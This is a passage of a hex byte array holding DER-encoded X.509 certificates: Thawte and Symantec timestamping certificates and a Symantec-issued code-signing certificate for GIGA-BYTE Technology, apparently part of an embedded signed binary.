0x2E, - 0x74, 0x68, 0x61, 0x77, 0x74, 0x65, 0x2E, 0x63, 0x6F, 0x6D, 0x30, 0x12, - 0x06, 0x03, 0x55, 0x1D, 0x13, 0x01, 0x01, 0xFF, 0x04, 0x08, 0x30, 0x06, - 0x01, 0x01, 0xFF, 0x02, 0x01, 0x00, 0x30, 0x3F, 0x06, 0x03, 0x55, 0x1D, - 0x1F, 0x04, 0x38, 0x30, 0x36, 0x30, 0x34, 0xA0, 0x32, 0xA0, 0x30, 0x86, - 0x2E, 0x68, 0x74, 0x74, 0x70, 0x3A, 0x2F, 0x2F, 0x63, 0x72, 0x6C, 0x2E, - 0x74, 0x68, 0x61, 0x77, 0x74, 0x65, 0x2E, 0x63, 0x6F, 0x6D, 0x2F, 0x54, - 0x68, 0x61, 0x77, 0x74, 0x65, 0x54, 0x69, 0x6D, 0x65, 0x73, 0x74, 0x61, - 0x6D, 0x70, 0x69, 0x6E, 0x67, 0x43, 0x41, 0x2E, 0x63, 0x72, 0x6C, 0x30, - 0x13, 0x06, 0x03, 0x55, 0x1D, 0x25, 0x04, 0x0C, 0x30, 0x0A, 0x06, 0x08, - 0x2B, 0x06, 0x01, 0x05, 0x05, 0x07, 0x03, 0x08, 0x30, 0x0E, 0x06, 0x03, - 0x55, 0x1D, 0x0F, 0x01, 0x01, 0xFF, 0x04, 0x04, 0x03, 0x02, 0x01, 0x06, - 0x30, 0x28, 0x06, 0x03, 0x55, 0x1D, 0x11, 0x04, 0x21, 0x30, 0x1F, 0xA4, - 0x1D, 0x30, 0x1B, 0x31, 0x19, 0x30, 0x17, 0x06, 0x03, 0x55, 0x04, 0x03, - 0x13, 0x10, 0x54, 0x69, 0x6D, 0x65, 0x53, 0x74, 0x61, 0x6D, 0x70, 0x2D, - 0x32, 0x30, 0x34, 0x38, 0x2D, 0x31, 0x30, 0x0D, 0x06, 0x09, 0x2A, 0x86, - 0x48, 0x86, 0xF7, 0x0D, 0x01, 0x01, 0x05, 0x05, 0x00, 0x03, 0x81, 0x81, - 0x00, 0x03, 0x09, 0x9B, 0x8F, 0x79, 0xEF, 0x7F, 0x59, 0x30, 0xAA, 0xEF, - 0x68, 0xB5, 0xFA, 0xE3, 0x09, 0x1D, 0xBB, 0x4F, 0x82, 0x06, 0x5D, 0x37, - 0x5F, 0xA6, 0x52, 0x9F, 0x16, 0x8D, 0xEA, 0x1C, 0x92, 0x09, 0x44, 0x6E, - 0xF5, 0x6D, 0xEB, 0x58, 0x7C, 0x30, 0xE8, 0xF9, 0x69, 0x8D, 0x23, 0x73, - 0x0B, 0x12, 0x6F, 0x47, 0xA9, 0xAE, 0x39, 0x11, 0xF8, 0x2A, 0xB1, 0x9B, - 0xB0, 0x1A, 0xC3, 0x8E, 0xEB, 0x59, 0x96, 0x00, 0xAD, 0xCE, 0x0C, 0x4D, - 0xB2, 0xD0, 0x31, 0xA6, 0x08, 0x5C, 0x2A, 0x7A, 0xFC, 0xE2, 0x7A, 0x1D, - 0x57, 0x4C, 0xA8, 0x65, 0x18, 0xE9, 0x79, 0x40, 0x62, 0x25, 0x96, 0x6E, - 0xC7, 0xC7, 0x37, 0x6A, 0x83, 0x21, 0x08, 0x8E, 0x41, 0xEA, 0xDD, 0xD9, - 0x57, 0x3F, 0x1D, 0x77, 0x49, 0x87, 0x2A, 0x16, 0x06, 0x5E, 0xA6, 0x38, - 0x6A, 0x22, 0x12, 0xA3, 0x51, 0x19, 0x83, 0x7E, 0xB6, 0x30, 0x82, 0x04, - 0xA3, 0x30, 0x82, 0x03, 0x8B, 0xA0, 0x03, 0x02, 0x01, 0x02, 0x02, 0x10, - 0x0E, 0xCF, 0xF4, 0x38, 0xC8, 0xFE, 0xBF, 0x35, 0x6E, 0x04, 0xD8, 0x6A, - 0x98, 0x1B, 0x1A, 0x50, 0x30, 0x0D, 0x06, 0x09, 0x2A, 0x86, 0x48, 0x86, - 0xF7, 0x0D, 0x01, 0x01, 0x05, 0x05, 0x00, 0x30, 0x5E, 0x31, 0x0B, 0x30, - 0x09, 0x06, 0x03, 0x55, 0x04, 0x06, 0x13, 0x02, 0x55, 0x53, 0x31, 0x1D, - 0x30, 0x1B, 0x06, 0x03, 0x55, 0x04, 0x0A, 0x13, 0x14, 0x53, 0x79, 0x6D, - 0x61, 0x6E, 0x74, 0x65, 0x63, 0x20, 0x43, 0x6F, 0x72, 0x70, 0x6F, 0x72, - 0x61, 0x74, 0x69, 0x6F, 0x6E, 0x31, 0x30, 0x30, 0x2E, 0x06, 0x03, 0x55, - 0x04, 0x03, 0x13, 0x27, 0x53, 0x79, 0x6D, 0x61, 0x6E, 0x74, 0x65, 0x63, - 0x20, 0x54, 0x69, 0x6D, 0x65, 0x20, 0x53, 0x74, 0x61, 0x6D, 0x70, 0x69, - 0x6E, 0x67, 0x20, 0x53, 0x65, 0x72, 0x76, 0x69, 0x63, 0x65, 0x73, 0x20, - 0x43, 0x41, 0x20, 0x2D, 0x20, 0x47, 0x32, 0x30, 0x1E, 0x17, 0x0D, 0x31, - 0x32, 0x31, 0x30, 0x31, 0x38, 0x30, 0x30, 0x30, 0x30, 0x30, 0x30, 0x5A, - 0x17, 0x0D, 0x32, 0x30, 0x31, 0x32, 0x32, 0x39, 0x32, 0x33, 0x35, 0x39, - 0x35, 0x39, 0x5A, 0x30, 0x62, 0x31, 0x0B, 0x30, 0x09, 0x06, 0x03, 0x55, - 0x04, 0x06, 0x13, 0x02, 0x55, 0x53, 0x31, 0x1D, 0x30, 0x1B, 0x06, 0x03, - 0x55, 0x04, 0x0A, 0x13, 0x14, 0x53, 0x79, 0x6D, 0x61, 0x6E, 0x74, 0x65, - 0x63, 0x20, 0x43, 0x6F, 0x72, 0x70, 0x6F, 0x72, 0x61, 0x74, 0x69, 0x6F, - 0x6E, 0x31, 0x34, 0x30, 0x32, 0x06, 0x03, 0x55, 0x04, 0x03, 0x13, 0x2B, - 0x53, 0x79, 0x6D, 0x61, 0x6E, 0x74, 0x65, 0x63, 0x20, 0x54, 0x69, 0x6D, - 0x65, 0x20, 0x53, 0x74, 0x61, 0x6D, 0x70, 0x69, 0x6E, 0x67, 0x20, 0x53, - 0x65, 0x72, 0x76, 0x69, 0x63, 0x65, 0x73, 0x20, 0x53, 0x69, 0x67, 0x6E, - 0x65, 0x72, 0x20, 0x2D, 0x20, 0x47, 0x34, 0x30, 0x82, 0x01, 0x22, 0x30, - 0x0D, 0x06, 0x09, 0x2A, 0x86, 0x48, 0x86, 0xF7, 0x0D, 0x01, 0x01, 0x01, - 0x05, 0x00, 0x03, 0x82, 0x01, 0x0F, 0x00, 0x30, 0x82, 0x01, 0x0A, 0x02, - 0x82, 0x01, 0x01, 0x00, 0xA2, 0x63, 0x0B, 0x39, 0x44, 0xB8, 0xBB, 0x23, - 0xA7, 0x44, 0x49, 0xBB, 0x0E, 0xFF, 0xA1, 0xF0, 0x61, 0x0A, 0x53, 0x93, - 0xB0, 0x98, 0xDB, 0xAD, 0x2C, 0x0F, 0x4A, 0xC5, 0x6E, 0xFF, 0x86, 0x3C, - 0x53, 0x55, 0x0F, 0x15, 0xCE, 0x04, 0x3F, 0x2B, 0xFD, 0xA9, 0x96, 0x96, - 0xD9, 0xBE, 0x61, 0x79, 0x0B, 0x5B, 0xC9, 0x4C, 0x86, 0x76, 0xE5, 0xE0, - 0x43, 0x4B, 0x22, 0x95, 0xEE, 0xC2, 0x2B, 0x43, 0xC1, 0x9F, 0xD8, 0x68, - 0xB4, 0x8E, 0x40, 0x4F, 0xEE, 0x85, 0x38, 0xB9, 0x11, 0xC5, 0x23, 0xF2, - 0x64, 0x58, 0xF0, 0x15, 0x32, 0x6F, 0x4E, 0x57, 0xA1, 0xAE, 0x88, 0xA4, - 0x02, 0xD7, 0x2A, 0x1E, 0xCD, 0x4B, 0xE1, 0xDD, 0x63, 0xD5, 0x17, 0x89, - 0x32, 0x5B, 0xB0, 0x5E, 0x99, 0x5A, 0xA8, 0x9D, 0x28, 0x50, 0x0E, 0x17, - 0xEE, 0x96, 0xDB, 0x61, 0x3B, 0x45, 0x51, 0x1D, 0xCF, 0x12, 0x56, 0x0B, - 0x92, 0x47, 0xFC, 0xAB, 0xAE, 0xF6, 0x66, 0x3D, 0x47, 0xAC, 0x70, 0x72, - 0xE7, 0x92, 0xE7, 0x5F, 0xCD, 0x10, 0xB9, 0xC4, 0x83, 0x64, 0x94, 0x19, - 0xBD, 0x25, 0x80, 0xE1, 0xE8, 0xD2, 0x22, 0xA5, 0xD0, 0xBA, 0x02, 0x7A, - 0xA1, 0x77, 0x93, 0x5B, 0x65, 0xC3, 0xEE, 0x17, 0x74, 0xBC, 0x41, 0x86, - 0x2A, 0xDC, 0x08, 0x4C, 0x8C, 0x92, 0x8C, 0x91, 0x2D, 0x9E, 0x77, 0x44, - 0x1F, 0x68, 0xD6, 0xA8, 0x74, 0x77, 0xDB, 0x0E, 0x5B, 0x32, 0x8B, 0x56, - 0x8B, 0x33, 0xBD, 0xD9, 0x63, 0xC8, 0x49, 0x9D, 0x3A, 0xC5, 0xC5, 0xEA, - 0x33, 0x0B, 0xD2, 0xF1, 0xA3, 0x1B, 0xF4, 0x8B, 0xBE, 0xD9, 0xB3, 0x57, - 0x8B, 0x3B, 0xDE, 0x04, 0xA7, 0x7A, 0x22, 0xB2, 0x24, 0xAE, 0x2E, 0xC7, - 0x70, 0xC5, 0xBE, 0x4E, 0x83, 0x26, 0x08, 0xFB, 0x0B, 0xBD, 0xA9, 0x4F, - 0x99, 0x08, 0xE1, 0x10, 0x28, 0x72, 0xAA, 0xCD, 0x02, 0x03, 0x01, 0x00, - 0x01, 0xA3, 0x82, 0x01, 0x57, 0x30, 0x82, 0x01, 0x53, 0x30, 0x0C, 0x06, - 0x03, 0x55, 0x1D, 0x13, 0x01, 0x01, 0xFF, 0x04, 0x02, 0x30, 0x00, 0x30, - 0x16, 0x06, 0x03, 0x55, 0x1D, 0x25, 0x01, 0x01, 0xFF, 0x04, 0x0C, 0x30, - 0x0A, 0x06, 0x08, 0x2B, 0x06, 0x01, 0x05, 0x05, 0x07, 0x03, 0x08, 0x30, - 0x0E, 0x06, 0x03, 0x55, 0x1D, 0x0F, 0x01, 0x01, 0xFF, 0x04, 0x04, 0x03, - 0x02, 0x07, 0x80, 0x30, 0x73, 0x06, 0x08, 0x2B, 0x06, 0x01, 0x05, 0x05, - 0x07, 0x01, 0x01, 0x04, 0x67, 0x30, 0x65, 0x30, 0x2A, 0x06, 0x08, 0x2B, - 0x06, 0x01, 0x05, 0x05, 0x07, 0x30, 0x01, 0x86, 0x1E, 0x68, 0x74, 0x74, - 0x70, 0x3A, 0x2F, 0x2F, 0x74, 0x73, 0x2D, 0x6F, 0x63, 0x73, 0x70, 0x2E, - 0x77, 0x73, 0x2E, 0x73, 0x79, 0x6D, 0x61, 0x6E, 0x74, 0x65, 0x63, 0x2E, - 0x63, 0x6F, 0x6D, 0x30, 0x37, 0x06, 0x08, 0x2B, 0x06, 0x01, 0x05, 0x05, - 0x07, 0x30, 0x02, 0x86, 0x2B, 0x68, 0x74, 0x74, 0x70, 0x3A, 0x2F, 0x2F, - 0x74, 0x73, 0x2D, 0x61, 0x69, 0x61, 0x2E, 0x77, 0x73, 0x2E, 0x73, 0x79, - 0x6D, 0x61, 0x6E, 0x74, 0x65, 0x63, 0x2E, 0x63, 0x6F, 0x6D, 0x2F, 0x74, - 0x73, 0x73, 0x2D, 0x63, 0x61, 0x2D, 0x67, 0x32, 0x2E, 0x63, 0x65, 0x72, - 0x30, 0x3C, 0x06, 0x03, 0x55, 0x1D, 0x1F, 0x04, 0x35, 0x30, 0x33, 0x30, - 0x31, 0xA0, 0x2F, 0xA0, 0x2D, 0x86, 0x2B, 0x68, 0x74, 0x74, 0x70, 0x3A, - 0x2F, 0x2F, 0x74, 0x73, 0x2D, 0x63, 0x72, 0x6C, 0x2E, 0x77, 0x73, 0x2E, - 0x73, 0x79, 0x6D, 0x61, 0x6E, 0x74, 0x65, 0x63, 0x2E, 0x63, 0x6F, 0x6D, - 0x2F, 0x74, 0x73, 0x73, 0x2D, 0x63, 0x61, 0x2D, 0x67, 0x32, 0x2E, 0x63, - 0x72, 0x6C, 0x30, 0x28, 0x06, 0x03, 0x55, 0x1D, 0x11, 0x04, 0x21, 0x30, - 0x1F, 0xA4, 0x1D, 0x30, 0x1B, 0x31, 0x19, 0x30, 0x17, 0x06, 0x03, 0x55, - 0x04, 0x03, 0x13, 0x10, 0x54, 0x69, 0x6D, 0x65, 0x53, 0x74, 0x61, 0x6D, - 0x70, 0x2D, 0x32, 0x30, 0x34, 0x38, 0x2D, 0x32, 0x30, 0x1D, 0x06, 0x03, - 0x55, 0x1D, 0x0E, 0x04, 0x16, 0x04, 0x14, 0x46, 0xC6, 0x69, 0xA3, 0x0E, - 0x4A, 0x14, 0x1E, 0xD5, 0x4C, 0xDA, 0x52, 0x63, 0x17, 0x3F, 0x5E, 0x36, - 0xBC, 0x0D, 0xE6, 0x30, 0x1F, 0x06, 0x03, 0x55, 0x1D, 0x23, 0x04, 0x18, - 0x30, 0x16, 0x80, 0x14, 0x5F, 0x9A, 0xF5, 0x6E, 0x5C, 0xCC, 0xCC, 0x74, - 0x9A, 0xD4, 0xDD, 0x7D, 0xEF, 0x3F, 0xDB, 0xEC, 0x4C, 0x80, 0x2E, 0xDD, - 0x30, 0x0D, 0x06, 0x09, 0x2A, 0x86, 0x48, 0x86, 0xF7, 0x0D, 0x01, 0x01, - 0x05, 0x05, 0x00, 0x03, 0x82, 0x01, 0x01, 0x00, 0x78, 0x3B, 0xB4, 0x91, - 0x2A, 0x00, 0x4C, 0xF0, 0x8F, 0x62, 0x30, 0x37, 0x78, 0xA3, 0x84, 0x27, - 0x07, 0x6F, 0x18, 0xB2, 0xDE, 0x25, 0xDC, 0xA0, 0xD4, 0x94, 0x03, 0xAA, - 0x86, 0x4E, 0x25, 0x9F, 0x9A, 0x40, 0x03, 0x1C, 0xDD, 0xCE, 0xE3, 0x79, - 0xCB, 0x21, 0x68, 0x06, 0xDA, 0xB6, 0x32, 0xB4, 0x6D, 0xBF, 0xF4, 0x2C, - 0x26, 0x63, 0x33, 0xE4, 0x49, 0x64, 0x6D, 0x0D, 0xE6, 0xC3, 0x67, 0x0E, - 0xF7, 0x05, 0xA4, 0x35, 0x6C, 0x7C, 0x89, 0x16, 0xC6, 0xE9, 0xB2, 0xDF, - 0xB2, 0xE9, 0xDD, 0x20, 0xC6, 0x71, 0x0F, 0xCD, 0x95, 0x74, 0xDC, 0xB6, - 0x5C, 0xDE, 0xBD, 0x37, 0x1F, 0x43, 0x78, 0xE6, 0x78, 0xB5, 0xCD, 0x28, - 0x04, 0x20, 0xA3, 0xAA, 0xF1, 0x4B, 0xC4, 0x88, 0x29, 0x91, 0x0E, 0x80, - 0xD1, 0x11, 0xFC, 0xDD, 0x5C, 0x76, 0x6E, 0x4F, 0x5E, 0x0E, 0x45, 0x46, - 0x41, 0x6E, 0x0D, 0xB0, 0xEA, 0x38, 0x9A, 0xB1, 0x3A, 0xDA, 0x09, 0x71, - 0x10, 0xFC, 0x1C, 0x79, 0xB4, 0x80, 0x7B, 0xAC, 0x69, 0xF4, 0xFD, 0x9C, - 0xB6, 0x0C, 0x16, 0x2B, 0xF1, 0x7F, 0x5B, 0x09, 0x3D, 0x9B, 0x5B, 0xE2, - 0x16, 0xCA, 0x13, 0x81, 0x6D, 0x00, 0x2E, 0x38, 0x0D, 0xA8, 0x29, 0x8F, - 0x2C, 0xE1, 0xB2, 0xF4, 0x5A, 0xA9, 0x01, 0xAF, 0x15, 0x9C, 0x2C, 0x2F, - 0x49, 0x1B, 0xDB, 0x22, 0xBB, 0xC3, 0xFE, 0x78, 0x94, 0x51, 0xC3, 0x86, - 0xB1, 0x82, 0x88, 0x5D, 0xF0, 0x3D, 0xB4, 0x51, 0xA1, 0x79, 0x33, 0x2B, - 0x2E, 0x7B, 0xB9, 0xDC, 0x20, 0x09, 0x13, 0x71, 0xEB, 0x6A, 0x19, 0x5B, - 0xCF, 0xE8, 0xA5, 0x30, 0x57, 0x2C, 0x89, 0x49, 0x3F, 0xB9, 0xCF, 0x7F, - 0xC9, 0xBF, 0x3E, 0x22, 0x68, 0x63, 0x53, 0x9A, 0xBD, 0x69, 0x74, 0xAC, - 0xC5, 0x1D, 0x3C, 0x7F, 0x92, 0xE0, 0xC3, 0xBC, 0x1C, 0xD8, 0x04, 0x75, - 0x30, 0x82, 0x04, 0xEE, 0x30, 0x82, 0x03, 0xD6, 0xA0, 0x03, 0x02, 0x01, - 0x02, 0x02, 0x10, 0x2A, 0xD2, 0x2E, 0x07, 0x1F, 0x61, 0xCA, 0xFE, 0x78, - 0x84, 0xBF, 0xA4, 0x3A, 0x31, 0xB2, 0x1B, 0x30, 0x0D, 0x06, 0x09, 0x2A, - 0x86, 0x48, 0x86, 0xF7, 0x0D, 0x01, 0x01, 0x0B, 0x05, 0x00, 0x30, 0x7F, - 0x31, 0x0B, 0x30, 0x09, 0x06, 0x03, 0x55, 0x04, 0x06, 0x13, 0x02, 0x55, - 0x53, 0x31, 0x1D, 0x30, 0x1B, 0x06, 0x03, 0x55, 0x04, 0x0A, 0x13, 0x14, - 0x53, 0x79, 0x6D, 0x61, 0x6E, 0x74, 0x65, 0x63, 0x20, 0x43, 0x6F, 0x72, - 0x70, 0x6F, 0x72, 0x61, 0x74, 0x69, 0x6F, 0x6E, 0x31, 0x1F, 0x30, 0x1D, - 0x06, 0x03, 0x55, 0x04, 0x0B, 0x13, 0x16, 0x53, 0x79, 0x6D, 0x61, 0x6E, - 0x74, 0x65, 0x63, 0x20, 0x54, 0x72, 0x75, 0x73, 0x74, 0x20, 0x4E, 0x65, - 0x74, 0x77, 0x6F, 0x72, 0x6B, 0x31, 0x30, 0x30, 0x2E, 0x06, 0x03, 0x55, - 0x04, 0x03, 0x13, 0x27, 0x53, 0x79, 0x6D, 0x61, 0x6E, 0x74, 0x65, 0x63, - 0x20, 0x43, 0x6C, 0x61, 0x73, 0x73, 0x20, 0x33, 0x20, 0x53, 0x48, 0x41, - 0x32, 0x35, 0x36, 0x20, 0x43, 0x6F, 0x64, 0x65, 0x20, 0x53, 0x69, 0x67, - 0x6E, 0x69, 0x6E, 0x67, 0x20, 0x43, 0x41, 0x30, 0x1E, 0x17, 0x0D, 0x31, - 0x36, 0x30, 0x37, 0x32, 0x31, 0x30, 0x30, 0x30, 0x30, 0x30, 0x30, 0x5A, - 0x17, 0x0D, 0x31, 0x39, 0x30, 0x39, 0x31, 0x39, 0x32, 0x33, 0x35, 0x39, - 0x35, 0x39, 0x5A, 0x30, 0x81, 0x85, 0x31, 0x0B, 0x30, 0x09, 0x06, 0x03, - 0x55, 0x04, 0x06, 0x13, 0x02, 0x54, 0x57, 0x31, 0x0F, 0x30, 0x0D, 0x06, - 0x03, 0x55, 0x04, 0x08, 0x0C, 0x06, 0x54, 0x61, 0x69, 0x77, 0x61, 0x6E, - 0x31, 0x13, 0x30, 0x11, 0x06, 0x03, 0x55, 0x04, 0x07, 0x0C, 0x0A, 0x4E, - 0x45, 0x57, 0x20, 0x54, 0x41, 0x49, 0x50, 0x45, 0x49, 0x31, 0x27, 0x30, - 0x25, 0x06, 0x03, 0x55, 0x04, 0x0A, 0x0C, 0x1E, 0x47, 0x49, 0x47, 0x41, - 0x2D, 0x42, 0x59, 0x54, 0x45, 0x20, 0x54, 0x45, 0x43, 0x48, 0x4E, 0x4F, - 0x4C, 0x4F, 0x47, 0x59, 0x20, 0x43, 0x4F, 0x2E, 0x2C, 0x20, 0x4C, 0x54, - 0x44, 0x2E, 0x31, 0x27, 0x30, 0x25, 0x06, 0x03, 0x55, 0x04, 0x03, 0x0C, - 0x1E, 0x47, 0x49, 0x47, 0x41, 0x2D, 0x42, 0x59, 0x54, 0x45, 0x20, 0x54, - 0x45, 0x43, 0x48, 0x4E, 0x4F, 0x4C, 0x4F, 0x47, 0x59, 0x20, 0x43, 0x4F, - 0x2E, 0x2C, 0x20, 0x4C, 0x54, 0x44, 0x2E, 0x30, 0x82, 0x01, 0x22, 0x30, - 0x0D, 0x06, 0x09, 0x2A, 0x86, 0x48, 0x86, 0xF7, 0x0D, 0x01, 0x01, 0x01, - 0x05, 0x00, 0x03, 0x82, 0x01, 0x0F, 0x00, 0x30, 0x82, 0x01, 0x0A, 0x02, - 0x82, 0x01, 0x01, 0x00, 0xE7, 0x7A, 0x0E, 0x8A, 0xBB, 0xA2, 0xCB, 0xD4, - 0x84, 0xA0, 0x3F, 0x19, 0x4E, 0x28, 0x08, 0x42, 0x5D, 0xE8, 0xB3, 0x38, - 0xEE, 0x47, 0x96, 0x57, 0x44, 0x18, 0x2E, 0x7C, 0xCE, 0xED, 0x4A, 0x4B, - 0xC8, 0x90, 0xA9, 0x52, 0x90, 0x0E, 0x05, 0xB4, 0x0F, 0x73, 0x8E, 0x10, - 0x49, 0xAD, 0x41, 0x6C, 0x0F, 0x24, 0x78, 0x2C, 0xFD, 0xF8, 0xC7, 0x24, - 0x14, 0x4E, 0x23, 0x4A, 0x03, 0x60, 0x60, 0x35, 0xDA, 0x5D, 0x28, 0xAF, - 0x27, 0x4A, 0x3A, 0xBB, 0x2D, 0xE2, 0x84, 0x04, 0xDA, 0x8F, 0xBB, 0x13, - 0xED, 0x4E, 0x8B, 0xE1, 0xCE, 0xAB, 0xAA, 0xC3, 0xCB, 0xD5, 0x9D, 0xDB, - 0xB6, 0x4D, 0xB4, 0x72, 0x46, 0x99, 0x41, 0xDD, 0xD3, 0x5A, 0x46, 0x7F, - 0x48, 0x64, 0x6B, 0x1B, 0xBF, 0xA3, 0xA0, 0x8E, 0xF0, 0xF1, 0xC1, 0xD5, - 0x35, 0x99, 0x10, 0x28, 0x8A, 0xE5, 0x03, 0x68, 0xF7, 0x26, 0x71, 0xB8, - 0xDB, 0xBF, 0x38, 0xFE, 0xF5, 0x15, 0x3D, 0xB3, 0xD7, 0x40, 0x24, 0x54, - 0x35, 0x2F, 0xA3, 0xBA, 0xA1, 0xE4, 0x79, 0x42, 0xE3, 0x76, 0x92, 0xDF, - 0x86, 0xAD, 0x4A, 0x7F, 0x2E, 0x3E, 0x1F, 0xD9, 0xCE, 0x0F, 0x88, 0xB7, - 0xE1, 0xBC, 0x63, 0x67, 0x3F, 0xFB, 0xC8, 0xDD, 0xD1, 0x9C, 0xFE, 0xCC, - 0x80, 0x87, 0x02, 0x2C, 0xB7, 0x31, 0xAB, 0xAB, 0xA4, 0xB2, 0x49, 0x4E, - 0x4D, 0x06, 0x33, 0x3E, 0x3C, 0xC2, 0x8A, 0x74, 0xD7, 0x8F, 0x6D, 0x2E, - 0x7E, 0xD5, 0xC0, 0xF4, 0x17, 0xD7, 0x56, 0xFA, 0xDA, 0x4C, 0xEE, 0xE7, - 0xEA, 0xF4, 0x23, 0x06, 0x95, 0x70, 0xDE, 0x72, 0xFC, 0x9F, 0x9C, 0xF7, - 0xBF, 0x64, 0x4E, 0xBF, 0x09, 0x0F, 0xC9, 0x3B, 0x42, 0x80, 0x17, 0x72, - 0x32, 0x01, 0x12, 0xB3, 0xCA, 0x6C, 0x6D, 0x9D, 0x1D, 0x9F, 0xEE, 0x52, - 0x94, 0x42, 0x55, 0xB1, 0x07, 0x54, 0x14, 0x51, 0x02, 0x03, 0x01, 0x00, - 0x01, 0xA3, 0x82, 0x01, 0x5D, 0x30, 0x82, 0x01, 0x59, 0x30, 0x09, 0x06, - 0x03, 0x55, 0x1D, 0x13, 0x04, 0x02, 0x30, 0x00, 0x30, 0x0E, 0x06, 0x03, - 0x55, 0x1D, 0x0F, 0x01, 0x01, 0xFF, 0x04, 0x04, 0x03, 0x02, 0x07, 0x80, - 0x30, 0x2B, 0x06, 0x03, 0x55, 0x1D, 0x1F, 0x04, 0x24, 0x30, 0x22, 0x30, - 0x20, 0xA0, 0x1E, 0xA0, 0x1C, 0x86, 0x1A, 0x68, 0x74, 0x74, 0x70, 0x3A, - 0x2F, 0x2F, 0x73, 0x76, 0x2E, 0x73, 0x79, 0x6D, 0x63, 0x62, 0x2E, 0x63, - 0x6F, 0x6D, 0x2F, 0x73, 0x76, 0x2E, 0x63, 0x72, 0x6C, 0x30, 0x61, 0x06, - 0x03, 0x55, 0x1D, 0x20, 0x04, 0x5A, 0x30, 0x58, 0x30, 0x56, 0x06, 0x06, - 0x67, 0x81, 0x0C, 0x01, 0x04, 0x01, 0x30, 0x4C, 0x30, 0x23, 0x06, 0x08, - 0x2B, 0x06, 0x01, 0x05, 0x05, 0x07, 0x02, 0x01, 0x16, 0x17, 0x68, 0x74, - 0x74, 0x70, 0x73, 0x3A, 0x2F, 0x2F, 0x64, 0x2E, 0x73, 0x79, 0x6D, 0x63, - 0x62, 0x2E, 0x63, 0x6F, 0x6D, 0x2F, 0x63, 0x70, 0x73, 0x30, 0x25, 0x06, - 0x08, 0x2B, 0x06, 0x01, 0x05, 0x05, 0x07, 0x02, 0x02, 0x30, 0x19, 0x0C, - 0x17, 0x68, 0x74, 0x74, 0x70, 0x73, 0x3A, 0x2F, 0x2F, 0x64, 0x2E, 0x73, - 0x79, 0x6D, 0x63, 0x62, 0x2E, 0x63, 0x6F, 0x6D, 0x2F, 0x72, 0x70, 0x61, - 0x30, 0x13, 0x06, 0x03, 0x55, 0x1D, 0x25, 0x04, 0x0C, 0x30, 0x0A, 0x06, - 0x08, 0x2B, 0x06, 0x01, 0x05, 0x05, 0x07, 0x03, 0x03, 0x30, 0x57, 0x06, - 0x08, 0x2B, 0x06, 0x01, 0x05, 0x05, 0x07, 0x01, 0x01, 0x04, 0x4B, 0x30, - 0x49, 0x30, 0x1F, 0x06, 0x08, 0x2B, 0x06, 0x01, 0x05, 0x05, 0x07, 0x30, - 0x01, 0x86, 0x13, 0x68, 0x74, 0x74, 0x70, 0x3A, 0x2F, 0x2F, 0x73, 0x76, - 0x2E, 0x73, 0x79, 0x6D, 0x63, 0x64, 0x2E, 0x63, 0x6F, 0x6D, 0x30, 0x26, - 0x06, 0x08, 0x2B, 0x06, 0x01, 0x05, 0x05, 0x07, 0x30, 0x02, 0x86, 0x1A, - 0x68, 0x74, 0x74, 0x70, 0x3A, 0x2F, 0x2F, 0x73, 0x76, 0x2E, 0x73, 0x79, - 0x6D, 0x63, 0x62, 0x2E, 0x63, 0x6F, 0x6D, 0x2F, 0x73, 0x76, 0x2E, 0x63, - 0x72, 0x74, 0x30, 0x1F, 0x06, 0x03, 0x55, 0x1D, 0x23, 0x04, 0x18, 0x30, - 0x16, 0x80, 0x14, 0x96, 0x3B, 0x53, 0xF0, 0x79, 0x33, 0x97, 0xAF, 0x7D, - 0x83, 0xEF, 0x2E, 0x2B, 0xCC, 0xCA, 0xB7, 0x86, 0x1E, 0x72, 0x66, 0x30, - 0x1D, 0x06, 0x03, 0x55, 0x1D, 0x0E, 0x04, 0x16, 0x04, 0x14, 0x65, 0xF2, - 0xC8, 0xCC, 0x11, 0xE2, 0xE2, 0x61, 0x27, 0x4D, 0xC3, 0xA7, 0xD4, 0xDC, - 0x07, 0xFB, 0x05, 0x39, 0xE3, 0xC2, 0x30, 0x0D, 0x06, 0x09, 0x2A, 0x86, - 0x48, 0x86, 0xF7, 0x0D, 0x01, 0x01, 0x0B, 0x05, 0x00, 0x03, 0x82, 0x01, - 0x01, 0x00, 0x08, 0x8E, 0x59, 0x02, 0x9A, 0xBE, 0xF5, 0x49, 0xA3, 0x06, - 0x01, 0xC3, 0x9D, 0xB2, 0xCB, 0x68, 0x70, 0x32, 0xDE, 0x13, 0xF4, 0x0C, - 0x63, 0xBD, 0x0D, 0x88, 0xDB, 0xE8, 0x58, 0xD6, 0xDD, 0xDD, 0xBD, 0xC2, - 0x35, 0x04, 0x4F, 0x1F, 0x31, 0xDD, 0xF3, 0xF6, 0xC9, 0x60, 0x58, 0x32, - 0x64, 0xC9, 0xB7, 0x30, 0x6D, 0xAD, 0xB3, 0x8E, 0xB6, 0x41, 0x60, 0xA4, - 0x0E, 0x80, 0x4B, 0xFE, 0xE6, 0xDE, 0xAC, 0x62, 0x4B, 0x72, 0x83, 0xEB, - 0xA4, 0x85, 0x91, 0xDA, 0xA2, 0x2C, 0xA7, 0x52, 0x3B, 0x15, 0x18, 0xCE, - 0x79, 0x21, 0x15, 0xFB, 0xBC, 0x4D, 0x9C, 0x31, 0x2D, 0x82, 0x4D, 0xD0, - 0xC4, 0x56, 0x6A, 0xA9, 0x85, 0xE8, 0xA6, 0x0C, 0xB4, 0x86, 0x44, 0x7F, - 0xBB, 0xA0, 0xF2, 0xC1, 0xDE, 0x3E, 0xFF, 0x0D, 0x98, 0xCB, 0xDE, 0xEF, - 0x89, 0x65, 0x3F, 0x04, 0x52, 0x03, 0xFD, 0xA3, 0xB6, 0xA4, 0x21, 0xD0, - 0x8E, 0xD1, 0x3E, 0x45, 0x61, 0x6E, 0x7C, 0x19, 0x6E, 0xD5, 0x62, 0x84, - 0xB6, 0x8D, 0x16, 0xE2, 0x4E, 0x62, 0xBA, 0x82, 0x22, 0xFA, 0x6B, 0x15, - 0xC7, 0xB5, 0x86, 0x13, 0x2D, 0xD3, 0x77, 0x7B, 0x42, 0x90, 0x8D, 0x93, - 0x0A, 0xB0, 0x82, 0xF5, 0x49, 0x51, 0x6D, 0x88, 0x64, 0x49, 0xAE, 0x87, - 0xC2, 0x0B, 0xB0, 0xC8, 0x47, 0x47, 0x77, 0xDE, 0x6C, 0x91, 0x91, 0x7D, - 0x8F, 0x17, 0x34, 0x68, 0xF7, 0x2E, 0xF3, 0xF8, 0x98, 0x98, 0xFE, 0xD2, - 0xD8, 0x61, 0xC3, 0x1A, 0x8E, 0xA2, 0x65, 0x9E, 